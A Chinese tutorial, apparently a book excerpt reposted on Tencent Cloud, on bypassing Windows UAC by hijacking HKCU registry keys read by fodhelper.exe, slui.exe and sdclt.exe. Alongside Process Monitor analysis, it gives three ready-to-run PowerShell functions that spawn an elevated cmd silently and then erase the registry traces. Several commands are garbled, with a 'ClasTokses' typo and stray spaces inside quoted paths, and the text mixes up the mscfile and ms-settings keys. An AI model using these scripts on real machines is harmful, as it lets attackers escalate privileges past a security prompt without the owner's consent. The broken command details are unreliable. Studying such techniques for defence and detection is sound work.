fodhelper.exe是一个具备autoElevate属性且是微软自带的工具,具备微软签名,该程序在执行过程中会将注册表中HKCU:\Software\Classes\ms-settings\Shell\Open\command的内容当作命令执行。接下来笔者通过该程序大致地讲解一下如何通过fodhelper.exe绕过UAC。
首先我们需要在微软官网中下载sigcheck来帮助我们检查软件是否具备autoElevate属性。
使用命令Sigcheck.exe -m C:\Windows\System32\fodhelper.exe | findstr "autoElevate"来查询fodhelper.exe的autoElevate属性,或者使用命令Sigcheck.exe -m C:\Windows\System32\*.exe|findstr "autoElevate"来查询整个SYSTEM32目录下所有程序的autoElevate属性,具体执行结果如图1-1所示。
使用Windows自带的findstr程序也可以查询软件的autoElevate属性,使用命令findstr /c: "<autoElevate> " C:\Windows\System32\fodhelper.exe,执行结果如图1-2所示。
如果想要更加直观图形化的显示哪些程序具备autoElevate属性,则可以使用Manifesto来完成此工作,使用方法如图1-3所示。
刚刚笔者讲述了几种获取程序autoElevate属性的方法。下一步使用Process Monitor来分析fodhelper.exe是调用HKCU\Software\Classes\mscfile\shell\open\command并执行命令,在开始之前首先要在Process Monitor中设置如图1-4的两个过滤规则,以帮助快速分析。
随后执行fodhelper.exe,调用过程如图1-5。可以看到fodhelper.exe会查询注册表中 HKCU\Software\Classes\mscfile\shell\open\command的值,后面也会多次出现shell\open这个注册表项,但是路径不同,大部分程序喜欢在shell\open中来指定后缀文件的打开方式。例如HKCU\Software\Classes\mscfile\shell\open\command所定义的就是msc文件的默认打开方式。
继续回到fodhelper.exe,可以发现它会在HKCU:\Software\Classes\ms-settings\Shell\Open\command中进行查询,如果查询失败就会转到HKCR中。HKCU是当前用户注册表项,权限限制不严格。使用Powershell中的New-Item命令就可以在指定注册表中创建一个新的键,使用命令New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force来创建一个新的注册表项。
设置完成后,再次执行fodhelper.exe并通过ProcessMonitor进行监控,如图1-6所示。可以看到fodhelper.exe对HKCU\Software\Classes\ms-settings\shell\open\command\DelegateExecute进行查询,使用命令 New-ItemProperty -Path "HKCU:\Software\ClasTokses\ms-settings\Shell\Open\command "-Name "DelegateExecute" -Value "" -Force,给 HKCU\Software\Classes\ms-settings\shell\open\command\添加一个名为DelegateExecute的值。
当fodhelper.exe查询到DelegateExecute之后,会执行默认键名Default中的内容,使用命令Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start C:\Windows\System32\cmd.exe" -Force在Default中写入命令,来开启一个新的命令提示符。
执行fodhelper.exe便会得到一个已经绕过UAC限制的CMD,上述操作汇总成Powershell脚本来执行。执行Bypass函数之后就会反弹一个绕过UAC的CMD,具体代码如代码清单如下所示,执行结果如图1-7所示。
function Bypass(){
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command "-Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command "-Name "DelegateExecute "-Value " "-Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command "-Name "(default) "-Value "cmd /c start C:\Windows\System32\cmd.exe "-Force
Start-Process "C:\Windows\System32\fodhelper.exe "-WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\ "-Recurse -Force
}
Slui.exe同样会将注册表项HKCU:\Software\Classes\exefile\shell\open\command中的 default的内容当做命令执行,汇总成Powershell脚本代码,如代码清单4-22 所示,执行结果如图1-8所示。
function Bypass(){
New-Item "HKCU:\Software\Classes\exefile\shell\open\command " -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\exefile\shell\open\command "-Name "(default)" -Value "cmd /c start C:\Windows\System32\cmd.exe" -Force
Start-Process "C:\Windows\System32\slui.exe" -Verb runas -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\exefile\shell\" -Recurse -Force
}
sdclt.exe会读取注册HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe。可以在default值中设置启动程序,在Powershell中运行代码清单4-23所示代码,执行结果如图1-9所示,虽然像这种注册表的Bypass UAC还有很多,不过大部分都只能针对Windows 10\server 2016\Server 2019。
function Bypass() {
New-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Force
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe "-Name "(default)" -Value "C:\Windows\System32\cmd.exe" -Force
Start-Process "C:\Windows\System32\sdclt.exe "-Verb runas -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe "-Recurse -Force
}
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。